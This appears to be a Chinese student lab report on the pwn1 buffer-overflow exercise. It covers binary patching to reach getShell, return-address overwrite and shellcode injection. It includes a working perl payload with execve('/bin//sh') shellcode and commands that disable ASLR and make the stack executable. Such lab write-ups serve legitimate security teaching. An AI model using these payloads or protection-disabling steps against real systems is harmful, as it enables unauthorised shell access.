77
社区成员




1.1实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。注入一个自己制作的shellcode并运行这段shellcode。
1.2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
objdump -d pwn1
对该文件进行反汇编main函数:“80484b5: e8 d7 ff ff ff call 8048491 ”,“call 8048491 ”是汇编指令,其含义是调用地址为8048491的foo函数,“e8 d7 ff ff ff”是机器指令,e8的含义是“跳转”,EIP值指的是下一条指令的地址:80484ba,这条机器指令的意思是转而执行下一条位于地址80484ba的指令。main函数调用foo函数的机器指令为“e8 d7 ff ff ff”,想调用getshell函数,只需把“d7 ff ff f”f改为getShell-80484ba对应的补码,47d-ba得到补码为c3 ff ff ff,故main函数调用getshell函数的机器指令为“e8 c3 ff ff ff”。
输入:wq保存并退出
再次输入“objdump -d pwn1”命令反汇编,call指令是否正确调用getShell
1)反汇编,了解程序的基本功能
利用foo()函数中buffer漏洞,输入足够长的字符串能够造成缓存区溢出,使其覆盖到返回地址。输入足够长的字符串,把原来的返回地址覆盖成现在getshell()的起始地址。
该可执行文件正常运行要调用foo函数,该函数有Bof漏洞,foo函数读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。正常情况下,call调用函数foo会在堆栈上压入返回地址:0x80484ba。
2)确认输入字符串哪几个字符会覆盖到返回地址
3)确认用什么值来覆盖返回地址
4)构造输入字符串
1)准备一段Shellcode
shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
2)准备工作
具体步骤:
(1) apt-get install execstack //安装execstack命令
(2) execstack -s pwn1 //设置堆栈可执行
(3) execstack -q pwn1 //查询文件的堆栈是否可执行
(4) more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
(5) echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
(6) more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
3)构造要注入的payload
将之前的\x4\x3\x2\x1改为这个地址0xffffd3f0即可,用命令 perl -e 'print "A" x 32;print "\xf0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
用“(cat input_shellcode;cat) | ./pwn1”命令次执行程序,攻击成功
问题:安装execstack命令时老是失败
解决方案:换源进行安装
本次实践作业过程比较繁琐,由于自己对注入攻击的知识还有汇编语言等掌握的不够扎实,所以实验中也出现了一些问题,好在最后得以解决顺利完成试验。本次实验学习和理解了缓冲区溢出攻击的原理以及一些实验操作,还有getShell函数以及注入一个自己制作的shellcode等知识,受益匪浅。